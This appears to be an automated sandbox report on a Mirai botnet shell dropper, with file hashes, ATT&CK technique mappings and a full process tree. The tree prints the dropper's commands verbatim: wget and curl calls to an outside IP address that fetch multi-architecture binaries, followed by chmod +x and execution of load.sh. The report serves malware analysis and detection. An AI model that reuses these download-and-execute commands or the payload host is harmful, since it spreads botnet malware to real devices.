mirai | ffabeb97e0ed60b65786ad46f48679f7b45e3bb50f5b9a937eddddab9a9f4dfc

Analysis

max time kernel
17s
max time network
54s
platform
debian-9_armhf
resource
debian9-armhf-20240418-en
resource tags

arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
18-10-2024 03:22

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General

Target

ffabeb97e0ed60b65786ad46f48679f7b45e3bb50f5b9a937eddddab9a9f4dfc.sh
Size

4KB
MD5

9e33609615c907d5f42d4b5f7924c8ff
SHA1

f306070b4ac0aaedcb98f44d8e8cb7349b063c06
SHA256

ffabeb97e0ed60b65786ad46f48679f7b45e3bb50f5b9a937eddddab9a9f4dfc
SHA512

159addae1f8f6f57da716bec85c9f0f27287df8788a6fa9c0b686117067479251a2fa051c83be605be14911788e5f5476f6cf827c7bc2548f5734e8d42a42c9a
SSDEEP

96:vNVj+Nw4RNx/6NN7GNdMdEpFLNn9YNUs9N2mPNRfKN3tQNue/NySzNGW3NPlL:MO4Fm

Score

10^/10

mirai unstable antivm botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

UNSTABLE

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Contacts a large (10236) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 11 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmod

pid	Process
666	chmod
687	chmod
755	chmod
797	chmod
803	chmod
817	chmod
676	chmod
704	chmod
728	chmod
746	chmod
810	chmod

Executes dropped EXE 11 IoCs

Processes:

load.shload.shload.shload.shload.shload.shload.shload.shload.shload.shload.sh

ioc	pid	Process
/tmp/load.sh	668	load.sh
/tmp/load.sh	677	load.sh
/tmp/load.sh	689	load.sh
/tmp/load.sh	706	load.sh
/tmp/load.sh	729	load.sh
/tmp/load.sh	748	load.sh
/tmp/load.sh	756	load.sh
/tmp/load.sh	798	load.sh
/tmp/load.sh	804	load.sh
/tmp/load.sh	811	load.sh
/tmp/load.sh	818	load.sh

Modifies Watchdog functionality 1 TTPs 4 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

Processes:

load.shload.sh

description	ioc	Process
File opened for modification	/dev/watchdog	load.sh
File opened for modification	/dev/misc/watchdog	load.sh
File opened for modification	/dev/watchdog	load.sh
File opened for modification	/dev/misc/watchdog	load.sh

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Enumerates active TCP sockets 1 TTPs 1 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

Processes:

load.sh

description	ioc	Process
File opened for reading	/proc/net/tcp	load.sh

Writes file to system bin folder 4 IoCs

Processes:

load.shload.sh

description	ioc	Process
File opened for modification	/sbin/watchdog	load.sh
File opened for modification	/bin/watchdog	load.sh
File opened for modification	/sbin/watchdog	load.sh
File opened for modification	/bin/watchdog	load.sh

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/files/fstream-1.dat	upx
behavioral2/files/fstream-4.dat	upx
behavioral2/files/fstream-5.dat	upx
behavioral2/files/fstream-6.dat	upx
behavioral2/files/fstream-7.dat	upx
behavioral2/files/fstream-8.dat	upx

Changes its process name 2 IoCs

Processes:

load.shload.sh

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	a	706	load.sh
Changes the process name, possibly in an attempt to hide itself	a	756	load.sh

Checks CPU configuration 1 TTPs 11 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

Processes:

curlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurl

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads system network configuration 1 TTPs 1 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

Processes:

load.sh

description	ioc	Process
File opened for reading	/proc/net/tcp	load.sh

Reads runtime system information 26 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

load.shcurlcurlcurlcurlload.shcurlcurlload.shcurlcurlcurlcurlload.shcurl

description	ioc	Process
File opened for reading	/proc/self/exe	load.sh
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/exe	load.sh
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/exe	load.sh
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/exe	load.sh
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

Processes:

wgetcurlcat

pid	Process
671	wget
674	curl
675	cat

Writes file to tmp directory 23 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlwgetcurlwgetwgetcurlwgetffabeb97e0ed60b65786ad46f48679f7b45e3bb50f5b9a937eddddab9a9f4dfc.shcurlcurlcurlwgetwgetcurlwgetwgetcurlcurlwgetcurlwgetcurl

description	ioc	Process
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm5	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm7	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.spc	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.i686	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.i686	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.x86	wget
File opened for modification	/tmp/load.sh	ffabeb97e0ed60b65786ad46f48679f7b45e3bb50f5b9a937eddddab9a9f4dfc.sh
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.mips	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.ppc	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.x86	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.mips	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.mpsl	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm5	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm7	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.ppc	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.m68k	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.mpsl	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm6	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm6	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.m68k	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.spc	curl

/tmp/ffabeb97e0ed60b65786ad46f48679f7b45e3bb50f5b9a937eddddab9a9f4dfc.sh
/tmp/ffabeb97e0ed60b65786ad46f48679f7b45e3bb50f5b9a937eddddab9a9f4dfc.sh
1⤵
- Writes file to tmp directory
PID:637
- /usr/bin/wget
  wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x86
  2⤵
  - Writes file to tmp directory
  PID:639
- /usr/bin/curl
  curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:654
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.x86
  2⤵
  PID:663
- /bin/chmod
  chmod +x db0fa4b8db0333367e9bda3ab68b8042.x86 ffabeb97e0ed60b65786ad46f48679f7b45e3bb50f5b9a937eddddab9a9f4dfc.sh load.sh systemd-private-dcf9354662c842c3a6d7beac91b0a8e3-systemd-timedated.service-5nVf4H
  2⤵
  - File and Directory Permissions Modification
  PID:666
- /tmp/load.sh
  ./load.sh pulse.exploit
  2⤵
  - Executes dropped EXE
  PID:668
- /usr/bin/wget
  wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:671
- /usr/bin/curl
  curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:674
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.mips
  2⤵
  - System Network Configuration Discovery
  PID:675
- /bin/chmod
  chmod +x db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.x86 ffabeb97e0ed60b65786ad46f48679f7b45e3bb50f5b9a937eddddab9a9f4dfc.sh load.sh systemd-private-dcf9354662c842c3a6d7beac91b0a8e3-systemd-timedated.service-5nVf4H
  2⤵
  - File and Directory Permissions Modification
  PID:676
- /tmp/load.sh
  ./load.sh pulse.exploit
  2⤵
  - Executes dropped EXE
  PID:677
- /usr/bin/wget
  wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl
  2⤵
  - Writes file to tmp directory
  PID:679
- /usr/bin/curl
  curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:680
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.mpsl
  2⤵
  PID:685
- /bin/chmod
  chmod +x db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 ffabeb97e0ed60b65786ad46f48679f7b45e3bb50f5b9a937eddddab9a9f4dfc.sh load.sh systemd-private-dcf9354662c842c3a6d7beac91b0a8e3-systemd-timedated.service-5nVf4H
  2⤵
  - File and Directory Permissions Modification
  PID:687
- /tmp/load.sh
  ./load.sh pulse.exploit
  2⤵
  - Executes dropped EXE
  PID:689
- /usr/bin/wget
  wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm
  2⤵
  - Writes file to tmp directory
  PID:691
- /usr/bin/curl
  curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:697
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.arm
  2⤵
  PID:703
- /bin/chmod
  chmod +x db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 ffabeb97e0ed60b65786ad46f48679f7b45e3bb50f5b9a937eddddab9a9f4dfc.sh load.sh systemd-private-dcf9354662c842c3a6d7beac91b0a8e3-systemd-timedated.service-5nVf4H
  2⤵
  - File and Directory Permissions Modification
  PID:704
- /tmp/load.sh
  ./load.sh pulse.exploit
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Changes its process name
  - Reads runtime system information
  PID:706
- /usr/bin/wget
  wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm5
  2⤵
  - Writes file to tmp directory
  PID:708
- /usr/bin/curl
  curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:720
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.arm5
  2⤵
  PID:726
- /bin/chmod
  chmod +x db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 ffabeb97e0ed60b65786ad46f48679f7b45e3bb50f5b9a937eddddab9a9f4dfc.sh load.sh systemd-private-dcf9354662c842c3a6d7beac91b0a8e3-systemd-timedated.service-5nVf4H
  2⤵
  - File and Directory Permissions Modification
  PID:728
- /tmp/load.sh
  ./load.sh pulse.exploit
  2⤵
  - Executes dropped EXE
  - Reads runtime system information
  PID:729
- /usr/bin/wget
  wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm6
  2⤵
  - Writes file to tmp directory
  PID:730
- /usr/bin/curl
  curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:735
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.arm6
  2⤵
  PID:744
- /bin/chmod
  chmod +x db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 ffabeb97e0ed60b65786ad46f48679f7b45e3bb50f5b9a937eddddab9a9f4dfc.sh load.sh systemd-private-dcf9354662c842c3a6d7beac91b0a8e3-systemd-timedated.service-5nVf4H
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/load.sh
  ./load.sh pulse.exploit
  2⤵
  - Executes dropped EXE
  - Reads runtime system information
  PID:748
- /usr/bin/wget
  wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm7
  2⤵
  - Writes file to tmp directory
  PID:750
- /usr/bin/curl
  curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:753
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.arm7
  2⤵
  PID:754
- /bin/chmod
  chmod +x db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 ffabeb97e0ed60b65786ad46f48679f7b45e3bb50f5b9a937eddddab9a9f4dfc.sh load.sh systemd-private-dcf9354662c842c3a6d7beac91b0a8e3-systemd-timedated.service-5nVf4H
  2⤵
  - File and Directory Permissions Modification
  PID:755
- /tmp/load.sh
  ./load.sh pulse.exploit
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:756
- /usr/bin/wget
  wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.ppc
  2⤵
  - Writes file to tmp directory
  PID:788
- /usr/bin/curl
  curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.ppc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:795
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.ppc
  2⤵
  PID:796
- /bin/chmod
  chmod +x db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.x86 ffabeb97e0ed60b65786ad46f48679f7b45e3bb50f5b9a937eddddab9a9f4dfc.sh load.sh systemd-private-dcf9354662c842c3a6d7beac91b0a8e3-systemd-timedated.service-5nVf4H
  2⤵
  - File and Directory Permissions Modification
  PID:797
- /tmp/load.sh
  ./load.sh pulse.exploit
  2⤵
  - Executes dropped EXE
  PID:798
- /usr/bin/wget
  wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.m68k
  2⤵
  - Writes file to tmp directory
  PID:800
- /usr/bin/curl
  curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.m68k
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:801
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.m68k
  2⤵
  PID:802
- /bin/chmod
  chmod +x db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.x86 ffabeb97e0ed60b65786ad46f48679f7b45e3bb50f5b9a937eddddab9a9f4dfc.sh load.sh systemd-private-dcf9354662c842c3a6d7beac91b0a8e3-systemd-timedated.service-5nVf4H
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/load.sh
  ./load.sh pulse.exploit
  2⤵
  - Executes dropped EXE
  PID:804
- /usr/bin/wget
  wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.spc
  2⤵
  - Writes file to tmp directory
  PID:806
- /usr/bin/curl
  curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.spc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:807
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.spc
  2⤵
  PID:809
- /bin/chmod
  chmod +x db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.spc db0fa4b8db0333367e9bda3ab68b8042.x86 ffabeb97e0ed60b65786ad46f48679f7b45e3bb50f5b9a937eddddab9a9f4dfc.sh load.sh systemd-private-dcf9354662c842c3a6d7beac91b0a8e3-systemd-timedated.service-5nVf4H
  2⤵
  - File and Directory Permissions Modification
  PID:810
- /tmp/load.sh
  ./load.sh pulse.exploit
  2⤵
  - Executes dropped EXE
  PID:811
- /usr/bin/wget
  wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.i686
  2⤵
  - Writes file to tmp directory
  PID:813
- /usr/bin/curl
  curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.i686
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:815
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.i686
  2⤵
  PID:816
- /bin/chmod
  chmod +x db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.i686 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.spc db0fa4b8db0333367e9bda3ab68b8042.x86 ffabeb97e0ed60b65786ad46f48679f7b45e3bb50f5b9a937eddddab9a9f4dfc.sh load.sh systemd-private-dcf9354662c842c3a6d7beac91b0a8e3-systemd-timedated.service-5nVf4H
  2⤵
  - File and Directory Permissions Modification
  PID:817
- /tmp/load.sh
  ./load.sh pulse.exploit
  2⤵
  - Executes dropped EXE
  PID:818
- /usr/bin/wget
  wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.sh4
  2⤵
  PID:820

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/db0fa4b8db0333367e9bda3ab68b8042.x86

Filesize
33KB

MD5
6d1b6e91b1e2037fbf62ca7ddcf04932

SHA1
d0769095ec2e678074eb206b3537022129c1a776

SHA256
7f307860b88d639313ebd4195f1ef6a8d668d1941c6cbf6dc968961b1fe42782

SHA512
7397ef3b4f7d34b0637de721f38ac833ad6d526e9b7cdbc08fdb4b261fa675001a8079ff4b9378fa219090a945126832cb1ab3db86b35da0090b20051d31bb38

Download Submit
/tmp/load.sh

Filesize
35KB

MD5
fd5d7deebbb62aee931a1701a1042450

SHA1
4adc94ce9de13647815a16d6514b73e109c80785

SHA256
7a36bd7a9d19b6d48807264712141dd0543ffebd9db923a76799ffd687f352c9

SHA512
cb7beeb8d88ad48ac447b69b215738cdf1d706cb88c4945d0a0837c07dfe41a74107f9c4d7fccc5c7e5719ee9a912452ba3c53c360252bd46978f5d27c1b6df4

Download Submit
/tmp/load.sh

Filesize
37KB

MD5
144cc0c6dfb6f6e395065b02825a9ad1

SHA1
dfe5d7d8bef4511b42be1ae0235f7469d97bf789

SHA256
117cd63b79b8c0d3753ac6907206872d6527c2d6a641776c1021302d5dcec2b2

SHA512
9e5ca9ee3ebef09688d74de6bb4af9d6c1003173ee5846cd2370d4774e9bc92fef317113b19529cd2a5b1d18a38a626ebf6ed2da05e6c7b66e0d1b69d8ddc5d5

Download Submit
/tmp/load.sh

Filesize
34KB

MD5
b478298246ee6d313f4f576d0f7ec4cd

SHA1
94d25c6d4cfb1e218120d378d14c8d5ab868363b

SHA256
ed04f35cc6c4bef7ea8bf398436da916ebfab2490c10bd1d59df70f648e80df5

SHA512
83f67116e5c7074dcfa0e98d94697a0db2bdcaed15060aa31ed6a20eb543fd1d10d8fe26856178f78cc7402531de358e4b6c1d294086b18ab891d23954e78307

Download Submit
/tmp/load.sh

Filesize
30KB

MD5
d8893525da7152c787dcc7d6309a61ba

SHA1
87fa7fb894caaa77a9caa7bca6a5fd3fbe09f7cd

SHA256
2a1b03ac26cc72118fb419de4bee3352adf536ee4d5472e8cee14150ca53b8ef

SHA512
8fcf808c627c080350adcf005df853a6c1f3fb3e3b2b5d2745a972dcc4064ff731f7cebbbd7d4e8c9ade91727f587356f844b783fa6c90a2191b80a38ca1f6e6

Download Submit
/tmp/load.sh

Filesize
83KB

MD5
5066ac4ea34bc36686d60cfd24fa8f9c

SHA1
7fd85df1be120bd57205d206811f6a22cada5546

SHA256
6cb54cc4dba85d436e253da51555dc40f47b82ec0c96d8b3aba90b3f554f957d

SHA512
ccca82b9e33e41532960e8d53913d0b9c9cf6c8c7ce6aa9d1ff7fb1c59b2fd9fbca247b9e930b37c64d8290a712cae30b06493074117a0699e0391acb6f88ba1

Download Submit
memory/706-1-0x00008000-0x00025708-memory.dmp

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memory/729-2-0x00008000-0x00022808-memory.dmp

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memory/748-3-0x00008000-0x00031a8c-memory.dmp

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memory/756-4-0x00008000-0x0002d52c-memory.dmp

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memory/813-5-0xb673b000-0xb674c044-memory.dmp

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